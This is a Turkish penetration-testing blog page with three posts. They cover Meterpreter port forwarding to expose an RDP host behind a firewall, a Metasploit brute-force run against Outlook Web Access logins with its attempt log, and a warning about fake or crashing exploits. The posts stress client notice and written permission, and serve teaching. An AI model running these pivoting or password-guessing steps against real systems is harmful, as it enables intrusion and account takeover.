Genel etiketine sahip kayıtlar gösteriliyor. Tüm kayıtları göster
Genel etiketine sahip kayıtlar gösteriliyor. Tüm kayıtları göster

4 Mayıs 2014 Pazar

Firewall/NAT Korumalı Sistemleri Dış Dünyaya Açma . !

Paylaşım Unknown on 10:25 with Şuan Yorum Yok

NAT/Router/Firewall arkasındaki bir sistem dış dünyaya tamamen kapalıdır. Dışardan yalnızca izin verilen portlara bağlantı  kurulabilir. Pentest çalışmalarında, hedef network'den ele geçirdiğiniz bir sistemi dış dünyaya açmak (rdp,vnc,ssh vb.) diğer pentest ekibi ile paylaşmanız gerektiğinde kullanabileceğiniz teknikler kısıtlıdır.



Firewall atlatmak, ters bağlantı methodu destekleyen yazılım bulmak ciddi maliyettir.

Bu tür senaryolarda, Nat/Router/Firewall bypass etmek ve dış dünyadan (wan) gelen trafiği iç ağa yönlendirmek için ters bağlantı tekniği kullanılır ve bunu yapacak gelişmiş bir ajana ihtiyaç duyulur. Meterpreter, firewall/nat bypass için "reverse_tcp" ve "reverse_http(s)" bağlantı tekniklerini kullanmaktadır. İç ağı, dış dünyaya açmak için port porward ve vpn özelliklerine sahip gelişmiş bir ajandır.



Uzak ağda, firewall korumalı yalnızca 80 portuna erişim kurulabilen websunucu bulunuyor. Web sayfasında bulunan bir güvenlik açığından faydalanarak meterpreter ajanı karşı tarafa yüklendi. Bu aşamadan sonra amaç, sistemi dış dünyaya açmak. Örneğin, rdp bağlantısı gerçekleştirmek, dosya sistemine bağlantı kurmak ve içeriden veri kaçırmak ...

Biz istiyoruz ki, pentest ekibinden barkın 1.1.1.101 ip adresli sunucuya uzak masaüstü bağlantısı yapabilsin. Bunun için uzak sistemde rdp servisini etkinleştirseniz bile firewall'dan içeri izin olmadığı için bağlantı kurulamaz. Meterpreter ile erişim elde eden mr.pentester (x.y.z.t) kendi ip adresine gelen rdp isteğini meterpreter ile içeri yönlendirerek diğer kullanıcıya erişim izni sağlayabilir.

Meterpreter Port Forwarding
meterpreter > portfwd -h

Usage: portfwd [-h] [add | delete | list | flush] [args]
OPTIONS:

-L <opt> The local host to listen on (optional).
-h Help banner.
-l <opt> The local port to listen on.
-p <opt> The remote port to connect to.
-r <opt> The remote host to connect to.



mr.pentester (x.y.z.t)  bilgisayarının 4444 portuna gelen istekleri, firewall arkasındaki 1.1.1.101 ip adresinin 3389 portuna yönlendireceğiz;
meterpreter > portfwd add -l 4444 -r 1.1.1.101 -p 3389
[*] Local TCP relay created: 0.0.0.0:4444 <-> 1.1.1.101:3389

Pentest ekibinden Barkın kullanıcısı, aşağıdaki gibi mr.pentester bilgisayarına bağlantı kurmak istediğinde firewall arkasındaki 1.1.1.101 bilgisayarına ulaşmış olur.

barkın@localhost:~$ rdesktop x.y.z.t:4444 -k tr -u administrator
WARNING: Remote desktop does not support colour depth 24; falling back to 16

26 Mart 2014 Çarşamba

Pentest Çalışmalarında OWA(Outlook Web Access) Hesaplarını Bulma

Paylaşım Unknown on 14:07 with Şuan Yorum Yok
Microsoft OWA(Outlook Web Access) kurumsal ortamlarda en fazla tercih edilen webmail uygulaması olarak karşımıza çıkmaktadır. Günümüz iş dünyasının en temel iletişim araçlarından birinin e-posta(mail olduğu düşünülürse dışarı açık OWA sistemlerinin büyük risk taşıdığı aşikardır.

Ele geçirilecek bir mail hesabı sadece sahibinin güvenliğini değil şirketin güvenliğini de tehlikeye atmaktadır. Basit mantıkla düşünülecek olursa ele geçirilmiş bir meil hesabı  üzerinden hem sosyal mühendislik saldırıları hem de şirket çalışanlarının tüm özlük bilgileri sızdırılabilir.

Bu nedenle pentest çalışmalarında e-posta hesaplarının tahmin yöntemiyle ele geçirilmesi adımı önemli rol oynamaktadır. 

Internet üzerinden indirilecek çoğu "brute force" yazılımı yeni nesil OWA sürümlerini desteklememekte ya da stabil çalışmamaktadır. Metasploit Aux modüllerine eklenen güncel modül -owa_login- kullanılabilir en sağlam hesap deneme yazılımı olarak gözükmekte. OWA brute force aux modülü kullanılarak OWA 2003, 2007 ve 2010 sürümlerine yönelik brute force çalışmaları gerçekleştirilebilmektedir.

NOT:OWA'ya yönelik gerçekleştirilecek brute force denemelerinde hesap kitleme riski bulunduğundan bu adımı denemeden önce mutlaka pentest yapılan firmanın bilgilendirilmesi gerekmektedir. 



Örnek Uygulama:

root@bt:/pentest/exploits/framework3# ./msfconsole
=[ metasploit v4.2.0-dev [core:4.2 api:1.0]
+ -- --=[ 768 exploits - 406 auxiliary - 119 post
+ -- --=[ 228 payloads - 27 encoders - 8 nops
=[ svn r14338 updated 15 days ago (2011.12.02)

msf > search owa

Matching Modules
================

Name Disclosure Date Rank Description
---- --------------- ---- -----------
auxiliary/scanner/http/owa_login normal Outlook Web App (OWA) Brute Force Utility

msf > use auxiliary/scanner/http/owa_login
msf auxiliary(owa_login) > show options

Module options (auxiliary/scanner/http/owa_login):

Name Current Setting Required Description
---- --------------- -------- -----------
BRUTEFORCE_SPEED 5 yes How fast to bruteforce, from 0 to 5
PASSWORD no A specific password to authenticate with
PASS_FILE no File containing passwords, one per line
Proxies no Use a proxy chain
RHOST yes The target address
RPORT 443 yes The target port
STOP_ON_SUCCESS false yes Stop guessing when a credential works for a host
USERNAME no A specific username to authenticate as
USERPASS_FILE no File containing users and passwords separated by space, one pair per line
USER_AS_PASS true no Try the username as the password for all users
USER_FILE no File containing usernames, one per line
VERBOSE true yes Whether to print output for all attempts
VERSION 2007 yes OWA VERSION (2003, 2007, or 2010)
VHOST no HTTP server virtual host



show options komutu ile ekrana basılan seçenekler incelenirse bruteforce yapılırken ihtiyaç duyulabilecek bileşenlerin tamamına yakını bulunmaktadır . Detaylı ayar yapılması gerektiğinde show advanced komutu da kullanılabilir.



msf auxiliary(owa_login) > set USERPASS_FILE /root/owa_test

USERPASS_FILE => /root/owa_test
msf auxiliary(owa_login) > set RPORT 443
RPORT => 443
msf auxiliary(owa_login) > set VHOST mail.HEDEF_SITE.com.tr
VHOST => mail.HEDEF_SITE.com.tr
msf auxiliary(owa_login) > run
[*] mail.HEDEF_SITE.com.tr:0 OWA - Testing version 2010

[*] mail.HEDEF_SITE.com.tr:0 OWA - Trying ali : ali
-msf auxiliary(owa_login) > run

[*] mail.HEDEF_SITE.com.tr:443 OWA - Testing version 2010
[*] mail.HEDEF_SITE.com.tr:443 OWA - Trying HEDEF_SITE : HEDEF_SITE
[-] mail.HEDEF_SITE.com.tr:443 OWA - FAILED LOGIN. 'HEDEF_SITE' : 'HEDEF_SITE'
[*] mail.HEDEF_SITE.com.tr:443 OWA - Trying ali : ali
[-] mail.HEDEF_SITE.com.tr:443 OWA - FAILED LOGIN. 'ali' : 'ali'
[*] mail.HEDEF_SITE.com.tr:443 OWA - Trying sam : sam
[-] mail.HEDEF_SITE.com.tr:443 OWA - FAILED LOGIN. 'sam' : 'sam'
[*] mail.HEDEF_SITE.com.tr:443 OWA - Trying user : user
[-] mail.HEDEF_SITE.com.tr:443 OWA - FAILED LOGIN. 'user' : 'user'
[*] mail.HEDEF_SITE.com.tr:443 OWA - Trying user@domain.com : user@domain.com
[-] mail.HEDEF_SITE.com.tr:443 OWA - FAILED LOGIN. 'user@domain.com' : 'user@domain.com'
[*] mail.HEDEF_SITE.com.tr:443 OWA - Trying ali : veli
[-] mail.HEDEF_SITE.com.tr:443 OWA - FAILED LOGIN. 'ali' : 'veli'
[*] mail.HEDEF_SITE.com.tr:443 OWA - Trying sam : john
[-] mail.HEDEF_SITE.com.tr:443 OWA - FAILED LOGIN. 'sam' : 'john'
[*] mail.HEDEF_SITE.com.tr:443 OWA - Trying ali : 12345
[-] mail.HEDEF_SITE.com.tr:443 OWA - FAILED LOGIN. 'ali' : '12345'
[*] mail.HEDEF_SITE.com.tr:443 OWA - Trying user : passwoed
[-] mail.HEDEF_SITE.com.tr:443 OWA - FAILED LOGIN. 'user' : 'passwoed'
[*] mail.HEDEF_SITE.com.tr:443 OWA - Trying user@domain.com : aliveli
[-] mail.HEDEF_SITE.com.tr:443 OWA - FAILED LOGIN. 'user@domain.com' : 'aliveli'
[*] mail.HEDEF_SITE.com.tr:443 OWA - Trying HEDEF_SITE : as
[-] mail.HEDEF_SITE.com.tr:443 OWA - FAILED LOGIN. 'HEDEF_SITE' : 'as'
[*] mail.HEDEF_SITE.com.tr:443 OWA - Trying HEDEF_SITE : df
[-] mail.HEDEF_SITE.com.tr:443 OWA - FAILED LOGIN. 'HEDEF_SITE' : 'df'
[*] mail.HEDEF_SITE.com.tr:443 OWA - Trying HEDEF_SITE : er
[-] mail.HEDEF_SITE.com.tr:443 OWA - FAILED LOGIN. 'HEDEF_SITE' : 'er'
[*] mail.HEDEF_SITE.com.tr:443 OWA - Trying HEDEF_SITE : r
[-] mail.HEDEF_SITE.com.tr:443 OWA - FAILED LOGIN. 'HEDEF_SITE' : 'r'
[*] mail.HEDEF_SITE.com.tr:443 OWA - Trying HEDEF_SITE : tt
[-] mail.HEDEF_SITE.com.tr:443 OWA - FAILED LOGIN. 'HEDEF_SITE' : 'tt'
[*] mail.HEDEF_SITE.com.tr:443 OWA - Trying HEDEF_SITE :
[-] mail.HEDEF_SITE.com.tr:443 OWA - FAILED LOGIN. 'HEDEF_SITE' : ''
[*] mail.HEDEF_SITE.com.tr:443 OWA - Trying HEDEF_SITE : yu
[-] mail.HEDEF_SITE.com.tr:443 OWA - FAILED LOGIN. 'HEDEF_SITE' : 'yu'
[*] mail.HEDEF_SITE.com.tr:443 OWA - Trying HEDEF_SITE : u
[-] mail.HEDEF_SITE.com.tr:443 OWA - FAILED LOGIN. 'HEDEF_SITE' : 'u'
[*] mail.HEDEF_SITE.com.tr:443 OWA - Trying HEDEF_SITE : yy
[-] mail.HEDEF_SITE.com.tr:443 OWA - FAILED LOGIN. 'HEDEF_SITE' : 'yy'
[*] mail.HEDEF_SITE.com.tr:443 OWA - Trying HEDEF_SITE : tg
[-] mail.HEDEF_SITE.com.tr:443 OWA - FAILED LOGIN. 'HEDEF_SITE' : 'tg'
[*] mail.HEDEF_SITE.com.tr:443 OWA - Trying HEDEF_SITE : 3
[-] mail.HEDEF_SITE.com.tr:443 OWA - FAILED LOGIN. 'HEDEF_SITE' : '3'
[*] mail.HEDEF_SITE.com.tr:443 OWA - Trying HEDEF_SITE : 4
[-] mail.HEDEF_SITE.com.tr:443 OWA - FAILED LOGIN. 'HEDEF_SITE' : '4'
[*] mail.HEDEF_SITE.com.tr:443 OWA - Trying HEDEF_SITE : 45
[-] mail.HEDEF_SITE.com.tr:443 OWA - FAILED LOGIN. 'HEDEF_SITE' : '45'
[*] mail.HEDEF_SITE.com.tr:443 OWA - Trying HEDEF_SITE : bt
[-] mail.HEDEF_SITE.com.tr:443 OWA - FAILED LOGIN. 'HEDEF_SITE' : 'bt'
[*] mail.HEDEF_SITE.com.tr:443 OWA - Trying HEDEF_SITE : ertvt
[-] mail.HEDEF_SITE.com.tr:443 OWA - FAILED LOGIN. 'HEDEF_SITE' : 'ertvt'
[*] mail.HEDEF_SITE.com.tr:443 OWA - Trying HEDEF_SITE : grt
[-] mail.HEDEF_SITE.com.tr:443 OWA - FAILED LOGIN. 'HEDEF_SITE' : 'grt'
[*] Auxiliary module execution completed

Pentest Çalışmalarında Exploit Denemelerinin Olumsuz Sonuçları

Paylaşım Unknown on 07:25 with Şuan Yorum Yok
Pentest çalışmalarının en heyecanlı aşamalarından biri exploitation - yani istismar- aşamasıdır. Bu adımda hedef sisteme sızma ya da hedef sistemden işe yarar bilgiler elde etme amaçlanır. Bu aşamada kullanılan exploitin kalitesine ve hedef sistemin durumuna bağlı olarak farklı durumlar gerçekleşebilir. Bu durumlardan iki tanesinin kötü durum senaryosu olarak karşımıza çıkma olasılığı olduğu için üzerinde durmakta fayda görüyoruz.

Tecrübelerimiz, çalışan ortamlarında gerçekleştirilen sızma testlerinde exploitlerin çalıştırılmadan mutlaka lab ortamında denenmesi ve hedef sistemde denenmeden  izin alınması ve bu iznin sözlü değil yazılı olmasına dikkat edilmesi gerektiğini göstermektedir.

Exploit çalıştırıldığında


  • Başarılı olup istediğimizi elde etmemizi sağlayabilir,

  • Hedef sisteme zarar verip çalışmasını engelleyebilir ya da hedef sistemi dışarıya korunmasız olarak açabilir,

  • Kendi sisteminize zarar verebilir.


 

Sahte Exploit Konusu

Pentest süreçlerinde genellikle exploit deneme aşamalarında exploit önce Metasploit gibi araçlarla ve exploit-db, securityfocus gibi sitelerden araştırılır. Buralarda bulunmazsa alternatif olarak Google üzerinen araştırma yapılır. Eğer exploit denemesini yapacak kişi exploitin yazıldığı programlama diline hakim değilse ve kodu hiç incelemeden doğrudan çalıştırıyorsa bu ciddi sıkıntılara yol açabilir.

 

Örnek olarak geçtiğimiz günlerde yayınlanan MS12-020 RDP açıklığını ele alacak olursak. Açıklık ilk yayınlandığında çalışan exploitin olmaması nedeniyle herkes ufak tefek denemeler yaparak internet üzerinden paylaşımlarda bulunuyordu. Bu paylaşımlardan bazıları da doğrudan sahte exploit olarak adlandırabileceğimiz kategoriye giriyordu. Özellikle güvenlikcilerin takip ettiği e-posta listelerine gönderilen mailler Google'un arşivinde değerli bilgi kaynağı olarak görüldüğü için tecrübesiz pentesterlar tarafından doğrudan alınıp kullanuılma tehlikesini barındırmaktadır.

Aşağıdaki örnek FullDisclosure e-posta listesine gönderilen exploit kodunun "basit" analizini içermektedir.

Duruyu maili:



 

Exploit'in shellcode kısmı:



 

Hex kodlanmış payload çözümlenirse aşağıdaki -sağda- gibi bir komut seti ortaya çıkacaktır. Basitçe payload işletim sistemini belirleyip ona göre sistemi silen komutlar icra ediyor. Yani bu exploit çalıştırıldığı sistemi siliyor.



Diğer bir sıkıntı da çalıştırılan exploitin hedef sisteme zarar vermesi şeklinde karşımıza çıkmaktadır. Buna örnek olarak da FreeBSD local root exploitini ele alalım (Hedef sisteme zarar verebilecek exploitlerin local olmasına gerek yok, remote tipte exploitler de zarar verebilir)



 

Aşağıdaki gibi exploit çalıştırıldığında hedef sistemde root haklarıyla komut çalıştırmak yerine doğrudan sistemin crash olmasına neden olabilir.



 

Bu nedenle BGA pentest ekibi olarak pentest yapacağımız çoğu sistemi kendi lab ortamımızda kurarak önce sıkıntılı testleri lab ortamında gerçekleştirip sonrasında müşteri ortamına uyarlamaya özen gösteriyoruz.